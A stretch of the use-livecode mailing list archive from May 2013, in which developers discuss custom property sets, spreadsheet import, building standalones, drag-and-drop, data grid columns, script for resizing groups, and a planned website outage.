LiveCode language keywords. Instead, either use the array style > notation above, or use a prefix to prevent name clashes (for example > "uName" instead of "name"). > > > Is this a possible collision? > > > Craig Newman > > > > > -----Original Message----- > From: Peter Haworth > To: How to use LiveCode > Sent: Fri, May 10, 2013 1:06 pm > Subject: customPropertySets > > > I'm seeing an unexpected behavior when using the customProperty set of an > object. > > Here's the recipe. > > 1.Create a new stack and put a datagrid on it > 2. Make a button with the following code: > > on mouseUp > set the customPropertyset of group "Datagrid 1" to "dgProps" > get the style of group "Datagrid 1" > end mouseUp > > 3. Click the button. > > You will get an error on the "get the style" line, "object does not have > this property". > > Changing the "get" line to access any other custom property of dgProps > works fine. > > If I change the "get the style" line to "get the dgProps["style"] of group > "Datagrid 1", all works as expected. > > The dgProps set does have a "style" property but "style" is a built-in > property name too so it appears that LC does not observe the > customPropertyset setting if the property being accessed has the same name > as a built-in property. > > Bug? > > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dunbarx at aol.com Fri May 10 14:03:33 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 10 May 2013 14:03:33 -0400 (EDT) Subject: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together In-Reply-To: References: Message-ID: <8D01BBFD184D914-DC0-40F5@webmail-m271.sysops.aol.com> Hi. Is your question really asking that LC be able to read an ".xls" file? Fancy libraries notwithstanding, if you have your spreadsheet in "txt" format, you can read that file directly, and simply load into a table field, datagrid, or whatever. Of course, even in ".xls" format, copying to the clipboard does wonders, albeit by hand. But I, too am yearning for something that will allow LC to read an Excel Workbook formatted spreadsheet. Craig Newman -----Original Message----- From: Andrew Kluthe To: How to use LiveCode Sent: Fri, May 10, 2013 1:53 pm Subject: Re: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together This has been a need for several people lately, (myself included). SpreadLib is a commercial-only excel spreadsheet importing library being worked on by Curry Kenworth. He has several other libraries in the works regarding Spreadsheets; but, as far as I know, these were being worked on at this time last year with no official release since then or an expected release date any time soon. Also, this would not work with the community edition of LiveCode 6.0 Other options I have seen are leveraging VBScript to interact with MS-Office, and importing from a CSV or tab-delimited copy of the spreadsheet data. There were some threads recently in the list that discussed these options in more detail. I wish I had a link handy for you right now. On Fri, May 10, 2013 at 12:40 PM, Mark Rauterkus wrote: > Hi Gurus! > > I don't see anything -- even an example stack -- regarding the merging of > Spreadsheet data to LiveCode. > > I don't want to do a full scale SQL database thing, but would love to have > it work with OpenOffice spreadsheet or even a Google Doc Spreadsheet. > > How to get data from rows and columns from spreadsheet into LiveCode is > first challenge. > > Later I can worry, or not, about saving back to the spreadsheet. > > Pointers welcome. > > Thanks. > > More insights: > Using LC 6.0.1 on WIN. > Have a job application form in a google document: > > https://docs.google.com/spreadsheet/viewform?formkey=dEdHNTdEZGhKUG5zYkFBZVUtU3FBQXc6MQ#gid=0 > > The resulting spreadsheet isn't nearly as good looking as a LC app could > deliver. > > > > > Mark Rauterkus Mark.Rauterkus at gmail.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Fri May 10 14:13:32 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 10 May 2013 12:13:32 -0600 Subject: Looking for a helper, example, tutorial or something to get LiveCode and Spreadsheet data working together In-Reply-To: <8D01BBFD184D914-DC0-40F5@webmail-m271.sysops.aol.com> References: <8D01BBFD184D914-DC0-40F5@webmail-m271.sysops.aol.com> Message-ID: The newer excel spreadsheets (after office 97 I think) store their data in a compressed xml format. Basically a zipped file with a bunch of linked xml files in there. While its beyond me (don't like xml) it might be possible to reverse engineer things to get to whats needed. On Fri, May 10, 2013 at 12:03 PM, wrote: > Hi. > > > Is your question really asking that LC be able to read an ".xls" file? > > > Fancy libraries notwithstanding, if you have your spreadsheet in "txt" > format, you can read that file directly, and simply load into a table > field, datagrid, or whatever. > > > > Of course, even in ".xls" format, copying to the clipboard does wonders, > albeit by hand. > > > > But I, too am yearning for something that will allow LC to read an Excel > Workbook formatted spreadsheet. > > > Craig Newman > > > > > -----Original Message----- > From: Andrew Kluthe > To: How to use LiveCode > Sent: Fri, May 10, 2013 1:53 pm > Subject: Re: Looking for a helper, example, tutorial or something to get > LiveCode and Spreadsheet data working together > > > This has been a need for several people lately, (myself included). > SpreadLib is a commercial-only excel spreadsheet importing library being > worked on by Curry Kenworth. He has several other libraries in the works > regarding Spreadsheets; but, as far as I know, these were being worked on > at this time last year with no official release since then or an expected > release date any time soon. Also, this would not work with the community > edition of LiveCode 6.0 > > Other options I have seen are leveraging VBScript to interact with > MS-Office, and importing from a CSV or tab-delimited copy of the > spreadsheet data. > > There were some threads recently in the list that discussed these options > in more detail. I wish I had a link handy for you right now. > > > > On Fri, May 10, 2013 at 12:40 PM, Mark Rauterkus > wrote: > > > Hi Gurus! > > > > I don't see anything -- even an example stack -- regarding the merging of > > Spreadsheet data to LiveCode. > > > > I don't want to do a full scale SQL database thing, but would love to > have > > it work with OpenOffice spreadsheet or even a Google Doc Spreadsheet. > > > > How to get data from rows and columns from spreadsheet into LiveCode is > > first challenge. > > > > Later I can worry, or not, about saving back to the spreadsheet. > > > > Pointers welcome. > > > > Thanks. > > > > More insights: > > Using LC 6.0.1 on WIN. > > Have a job application form in a google document: > > > > > https://docs.google.com/spreadsheet/viewform?formkey=dEdHNTdEZGhKUG5zYkFBZVUtU3FBQXc6MQ#gid=0 > > > > The resulting spreadsheet isn't nearly as good looking as a LC app could > > deliver. > > > > > > > > > > Mark Rauterkus Mark.Rauterkus at gmail.com > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Fri May 10 14:15:20 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 10 May 2013 18:15:20 +0000 (UTC) Subject: customPropertySets References: Message-ID: Peter Haworth writes: > Bug? Well, I think it's undesirable and there are several "fixed" bugs in the database (8186, 8501, etc.) dealing with this situation. It's not quite a bug because it's documented behavior. There are reserved keywords for built-in things that you can't override (groups don't have a "style" property), although there's a movement afoot to allow this to happen (and you chimed in on the discussion several times now on the forum). Stay tuned. Meanwhile, you can say get the dgProps["style"] of group "Datagrid 1" to get what you want. -- Mark Wieder mwieder at ahsoftware.net From lvhdgc7 at gmail.com Fri May 10 14:31:11 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Fri, 10 May 2013 11:31:11 -0700 (PDT) Subject: Question building standalone with external files Message-ID: <1368210671084-4664674.post@n4.nabble.com> Hi, LC gurus. I'm struggling a bit to build a standalone (Windows XP) with external image files in a separate folder. If I build with "move substacks to individual stackfiles" checked, then the standalone fails to show any of the 10 linked images. But if I build with the "Move substacks" box unchecked, the images show up fine. What difference does it make in linking images if substacks are internal or external? Other details: The images in the substack all show Source properties such as "./app-art/mypic.png" (I do have that the app-art folder next to the standalone when it runs). When the substack is external, it is next to the exe with app-art folder at the same level. Many thanks for enlightenment! Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Question-building-standalone-with-external-files-tp4664674.html Sent from the Revolution - User mailing list archive at Nabble.com. From richmondmathewson at gmail.com Fri May 10 16:04:25 2013 From: richmondmathewson at gmail.com (Richmond) Date: Fri, 10 May 2013 23:04:25 +0300 Subject: Drag and Drop In-Reply-To: References: Message-ID: <518D52C9.1080202@gmail.com> On 05/09/2013 11:59 PM, Scott Rossi wrote: > OK, I accepted your dare and was surprised to see that it worked (didn't > used to). Nice. Works in LC/RR 3.5.0 Works in LC/RR 2.2.1 So I don't know where you got the idea that this used not to work: perhaps you never tried it as it never occurred to you. Richmond. > Though you're still left with the limitations of working within a single > stack, and no dragging in or out. > But if the technique works for you, awesome. > > Speaking as someone who has rolled custom drag-and-drop code (execute in > your message box): > go url "http://www.tactilemedia.com/site_files/downloads/TMdragndrop.rev" > > > ...I'll suggest from experience that at some point it will benefit you to > get a handle on the built-in routines. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/9/13 1:36 PM, "Richmond" wrote: > >> On 05/09/2013 11:07 PM, Scott Rossi wrote: >>> Only you can know why you always use that technique, >> What? you expect me to know my own mind? LOL. >> >> I use that technique as I tend to use a single stack, or a signle stack >> with associated palettes. >> >>> but with grab, >>> there's no way to act upon events/messages while grab is active (thus >>> you >>> can't do cursor updates and provide user feedback), and you can't "grab" >>> an object across stacks. >> Aha; got you. >> >> Why do I have a funny feeling that you could use >> >> mouseStillDown >> >> to get feedback >> >> Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" >> >> and a field "KOUNT" >> >> in the button I have this script: >> >> on mouseDown >> grab me >> end mouseDown >> >> on mouseStillDown >> put fld "KOUNT" into KOUNT >> add 1 to KOUNT >> put KOUNT into fld "KOUNT" >> wait 3 ticks >> end mouseStillDown >> >> on mouseUp >> put empty into fld "KOUNT" >> end mouseUp >> >> Try it, I dare you . . . you get feedback. >> >> Richmond. >> >> >>> Regards, >>> >>> Scott Rossi >>> Creative Director >>> Tactile Media, UX/UI Design >>> >>> >>> >>> >>> On 5/9/13 12:42 PM, "Richmond" wrote: >>> >>>> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>>>> Ray Horsley writes: >>>>> >>>>>> What am I missing to get drag/drop working consistently? >>>>> You might also want to look at >>>>> >>>>> >>>>> >>>>> >>>> p- >>>>> to-the-mat-a-primer> >>>>> >>>> Why do I always just use >>>> >>>> on mouseDown >>>> grab me >>>> end mouseDown >>>> >>>> then set up a load of images as dropTargets and have stuff like this in >>>> the grabbedObject: >>>> >>>> on mouseUp >>>> if not within (img "target", the mouseloc) then >>>> set the loc of me to 857,673 >>>> end if >>>> end mouseUp >>>> >>>> must be missing something. >>>> >>>> Richmond. >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From abilitybf at att.net Fri May 10 16:15:58 2013 From: abilitybf at att.net (Joe Hamburger) Date: Fri, 10 May 2013 13:15:58 -0700 (PDT) Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> Message-ID: <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> Hi Again Mike, Yes, my datagrid is loading properly since I didn't lock messages. However, I still can't change the column behavior so the "Rank" column doesn't change. Is there a script I can use to load that column after each sort without changing the other data? Sorry to be such a pest. Joe ________________________________ From: Mike Bonner To: How to use LiveCode Sent: Thu, May 9, 2013 10:49:08 PM Subject: Re: Data Grid Question If you have everything working correctly now, no reason to remove the preferences file, but if you need to for some other reason its name is livecode.rev On mac its (I think) in /Users/yourUsername/Library/Preferences/RunRev/ In windows somewhere around here: C:\Users\username\AppData\Roaming\RunRev\ Preferences\livecode.rev In linux its probably in a .folder in the users home directory. Sometimes wiping out the prefs does help. Sometimes not. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Fri May 10 16:17:37 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 10 May 2013 13:17:37 -0700 (PDT) Subject: Drag and Drop In-Reply-To: <518D52C9.1080202@gmail.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> Message-ID: <1368217057081-4664677.post@n4.nabble.com> Hi Richmmond, Richmond Mathewson-2 wrote > [snip] > So I don't know where you got the idea that this used not to work: > [snip] mouseStillDown is not mentioned in this article: http://www.hyperactivesw.com/resources_polling.html Why? Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Drag-and-Drop-tp4664563p4664677.html Sent from the Revolution - User mailing list archive at Nabble.com. From gcanyon at gmail.com Fri May 10 16:23:12 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Fri, 10 May 2013 15:23:12 -0500 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> Message-ID: Hi Scott, I tried to simplify this and make it so that each control is adjusted in one step. This also optionally take different scaling factors for horizontal and vertical. Let me know if I missed anything. I'm not sure what everyone was seeing with resizing the group affecting the objects in it -- I'm not seeing that as far as I can tell. All the implementations shown so far are losing fidelity due to rounding. If anyone is going to repeatedly resize groups/objects like this, it would make sense to store the original rects as a separate property, and always start from there. If the resizing needs to be cumulative, then I'd store the cumulative resizing factor as a property of the group, then when resizing multiply that by the new/additional factor before applying that to the stored rects to set the sizes. Once we have open language, I'm so looking forward to being able to say something like: set the rect of every control of G to integerRect(shiftRect(scaleRect(shiftRect((the rect of it),-L,-T),H,V),L,T)) gc command scaleGroup G,H,V if V is empty then put H into V put the left of G into L put the top of G into T put shiftRect(scaleRect(shiftRect((the rect of G),-L,-T),H,V),L,T) into R repeat with N = 1 to number of controls of G set the rect of control N of G to integerRect(shiftRect(scaleRect(shiftRect((the rect of control N of G),-L,-T),H,V),L,T)) end repeat set the margins of G to scaleRect((the margins of G),H,V) set the rect of G to R end scaleGroup function scaleRect R,H,V if V is empty then put H into V return (H * item 1 of R),(V * item 2 of R),(H * item 3 of R),(V * item 4 of R) end scaleRect function shiftRect R,H,V if V is empty then put H into V return (H + item 1 of R),(V + item 2 of R),(H + item 3 of R),(V + item 4 of R) end shiftRect function integerRect R return round(item 1 of R),round(item 2 of R),round(item 3 of R),round(item 4 of R) end integerRect On Fri, May 10, 2013 at 7:00 AM, Thomas McGrath III wrote: > Monte, > > I won't be attending this year but I will be on the simulcast so I'll sort > of be there in spirit at the conference?.. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 10, 2013, at 1:15 AM, Monte Goulding > wrote: > > > I asked this exact question on StackOverflow a couple of weeks ago and > before I was attacked by Mark for not asking the question he answered we > were getting somewhere... I did create solution that works by retaining an > offset for the child objects to use in their resizing. > > > > > http://stackoverflow.com/questions/16168091/how-do-you-change-the-rect-of-a-group-without-changing-the-location-of-the-objec/16178454#16178454 > > > > Anyway... all will be revealed at the conference on Tuesday > > > > On 10/05/2013, at 5:23 AM, Thomas McGrath III wrote: > > > >> Is there a way to resize and move a scrolling group without touching > the inside contents of that group??? This is on mobile and I need to resize > a scrolling group based on the position of the UI (navbar and toolbar when > in portrait and landscape) when the UI changes and then after the scrolling > group is right I then need to separately resize the contents for retina if > needed -- to double their height, width and topleft -- or regular. > >> > >> If I resize the group first then it moves the content and then doubling > the content makes it the right size but positioned wrong. > >> If I resize the content and then move the group then it again correctly > sizes the contents but positions them wrong. > >> > >> If the group moves then everything is in a different position from when > I laid them out in the desktop so they are off. > >> > >> I want the scrolling group code to be separate from the resizing code > if possible. > >> > >> > >> Thanks, > >> > >> Tom > >> > >> -- Tom McGrath III > >> http://lazyriver.on-rev.com > >> mcgrath3 at mac.com > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > -- > > Monte Goulding > > > > M E R Goulding - software development services > > mergExt - There's an external for that! > > > > > > > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Fri May 10 16:23:55 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 10 May 2013 14:23:55 -0600 Subject: Data Grid Question In-Reply-To: <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> Message-ID: It still won't let you add a custom column template for that column and then edit the column behavior? The link I sent at the very first is the way to get it done, but if its not letting you set up the custom column and behavior script for that column i'm not sure how to fix it. Feel like sending the stack so I can look at it? Preferably with an example of the data involved? If there is already a custom column template made for that column, it won't let you create one again, but you should still be able to get into the behavior script for it. (columns tab in the inspector, near the bottom) On Fri, May 10, 2013 at 2:15 PM, Joe Hamburger wrote: > Hi Again Mike, > > Yes, my datagrid is loading properly since I didn't lock messages. > However, I > still can't change the column behavior so the "Rank" column doesn't > change. Is > there a script I can use to load that column after each sort without > changing > the other data? Sorry to be such a pest. > > Joe > > > > ________________________________ > From: Mike Bonner > To: How to use LiveCode > Sent: Thu, May 9, 2013 10:49:08 PM > Subject: Re: Data Grid Question > > If you have everything working correctly now, no reason to remove the > preferences file, but if you need to for some other reason its name is > livecode.rev On mac its (I think) in > /Users/yourUsername/Library/Preferences/RunRev/ > > In windows somewhere around here: C:\Users\username\AppData\Roaming\RunRev\ > Preferences\livecode.rev > > In linux its probably in a .folder in the users home directory. > > Sometimes wiping out the prefs does help. Sometimes not. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Fri May 10 16:28:00 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 10 May 2013 15:28:00 -0500 Subject: Drag and Drop In-Reply-To: <1368217057081-4664677.post@n4.nabble.com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> <518BFC41.4070205@gmail.com> <518C08C1.9080901@gmail.com> <518D52C9.1080202@gmail.com> <1368217057081-4664677.post@n4.nabble.com> Message-ID: <518D5850.5080403@hyperactivesw.com> On 5/10/13 3:17 PM, Alejandro Tejada wrote: > Hi Richmmond, > > > Richmond Mathewson-2 wrote >> [snip] >> So I don't know where you got the idea that this used not to work: >> [snip] > > mouseStillDown is not mentioned in this article: > http://www.hyperactivesw.com/resources_polling.html > > Why? Mostly because it isn't the same thing as polling by script. It's an engine message and catching engine messages isn't blocking. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From monte at sweattechnologies.com Fri May 10 16:28:46 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 11 May 2013 06:28:46 +1000 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> Message-ID: <64B1EE47-CBDA-4C43-8B78-01A914A0BEE8@sweattechnologies.com> On 10/05/2013, at 10:00 PM, Thomas McGrath III wrote: > I won't be attending this year but I will be on the simulcast so I'll sort of be there in spirit at the conference?.. OK, I think you will find the mApp talk & demo interesting ;-) -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From andrew at ctech.me Fri May 10 16:30:36 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Fri, 10 May 2013 15:30:36 -0500 Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> Message-ID: zyrip the slug's datagrid helper is entirely worth it if you aren't using community edition 6.0 On Fri, May 10, 2013 at 3:23 PM, Mike Bonner wrote: > It still won't let you add a custom column template for that column and > then edit the column behavior? The link I sent at the very first is the > way to get it done, but if its not letting you set up the custom column and > behavior script for that column i'm not sure how to fix it. > > Feel like sending the stack so I can look at it? Preferably with an > example of the data involved? > > If there is already a custom column template made for that column, it won't > let you create one again, but you should still be able to get into the > behavior script for it. (columns tab in the inspector, near the bottom) > > > On Fri, May 10, 2013 at 2:15 PM, Joe Hamburger wrote: > > > Hi Again Mike, > > > > Yes, my datagrid is loading properly since I didn't lock messages. > > However, I > > still can't change the column behavior so the "Rank" column doesn't > > change. Is > > there a script I can use to load that column after each sort without > > changing > > the other data? Sorry to be such a pest. > > > > Joe > > > > > > > > ________________________________ > > From: Mike Bonner > > To: How to use LiveCode > > Sent: Thu, May 9, 2013 10:49:08 PM > > Subject: Re: Data Grid Question > > > > If you have everything working correctly now, no reason to remove the > > preferences file, but if you need to for some other reason its name is > > livecode.rev On mac its (I think) in > > /Users/yourUsername/Library/Preferences/RunRev/ > > > > In windows somewhere around here: > C:\Users\username\AppData\Roaming\RunRev\ > > Preferences\livecode.rev > > > > In linux its probably in a .folder in the users home directory. > > > > Sometimes wiping out the prefs does help. Sometimes not. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription > > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From rman at free.fr Fri May 10 16:30:59 2013 From: rman at free.fr (Robert Mann) Date: Fri, 10 May 2013 13:30:59 -0700 (PDT) Subject: Temporary Website Outage Expected In-Reply-To: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> References: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> Message-ID: <1368217859350-4664682.post@n4.nabble.com> Not the best timing just before run rev live!!! Boy! I had planned to finish some work on my server for that event, and a planned presentation... I was relying on my on-rev server!! 4 DAYS off..!!!! I'm embarrassed! Ill'' call to see how I can have access to another on-rev server temporarily? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Temporary-Website-Outage-Expected-tp4664658p4664682.html Sent from the Revolution - User mailing list archive at Nabble.com. From bonnmike at gmail.com Fri May 10 16:32:09 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 10 May 2013 14:32:09 -0600 Subject: Data Grid Question In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> <1368216958.63280.YahooMailRC@web181401.mail.ne1.yahoo.com> Message-ID: I forgot dg helper. And yes it is! zyrip did a great job. On Fri, May 10, 2013 at 2:30 PM, Andrew Kluthe wrote: > zyrip the slug's datagrid helper is entirely worth it if you aren't using > community edition 6.0 > > > On Fri, May 10, 2013 at 3:23 PM, Mike Bonner wrote: > > > It still won't let you add a custom column template for that column and > > then edit the column behavior? The link I sent at the very first is the > > way to get it done, but if its not letting you set up the custom column > and > > behavior script for that column i'm not sure how to fix it. > > > > Feel like sending the stack so I can look at it? Preferably with an > > example of the data involved? > > > > If there is already a custom column template made for that column, it > won't > > let you create one again, but you should still be able to get into the > > behavior script for it. (columns tab in the inspector, near the bottom) > > > > > > On Fri, May 10, 2013 at 2:15 PM, Joe Hamburger > wrote: > > > > > Hi Again Mike, > > > > > > Yes, my datagrid is loading properly since I didn't lock messages. > > > However, I > > > still can't change the column behavior so the "Rank" column doesn't > > > change. Is > > > there a script I can use to load that column after each sort without > > > changing > > > the other data? Sorry to be such a pest. > > > > > > Joe > > > > > > > > > > > > ________________________________ > > > From: Mike Bonner > > > To: How to use LiveCode > > > Sent: Thu, May 9, 2013 10:49:08 PM > > > Subject: Re: Data Grid Question > > > > > > If you have everything working correctly now, no reason to remove the > > > preferences file, but if you need to for some other reason its name is > > > livecode.rev On mac its (I think) in > > > /Users/yourUsername/Library/Preferences/RunRev/ > > > > > > In windows somewhere around here: > > C:\Users\username\AppData\Roaming\RunRev\ > > > Preferences\livecode.rev > > > > > > In linux its probably in a .folder in the users home directory. > > > > > > Sometimes wiping out the prefs does help. Sometimes not. > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription > > > preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bonnmike at gmail.com Fri May 10 16:34:25 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Fri, 10 May 2013 14:34:25 -0600 Subject: Temporary Website Outage Expected In-Reply-To: <1368217859350-4664682.post@n4.nabble.com> References: <0A39F3DF-7B82-4E8D-A698-359889219FA2@runrev.com> <1368217859350-4664682.post@n4.nabble.com> Message-ID: Says hosting services themselves will be unaffected so you're most likely ok. On Fri, May 10, 2013 at 2:30 PM, Robert Mann wrote: > Not the best timing just before run rev live!!! > > Boy! I had planned to finish some work on my server for that event, and a > planned presentation... I was relying on my on-rev server!! > > 4 DAYS off..!!!! I'm embarrassed! > > Ill'' call to see how I can have access to another on-rev server > temporarily? > > > > > > > > > > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Temporary-Website-Outage-Expected-tp4664658p4664682.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From rman at free.fr Fri May 10 16:45:15 2013 From: rman at free.fr (Robert Mann) Date: Fri, 10 May 2013 13:45:15 -0700 (PDT) Subject: 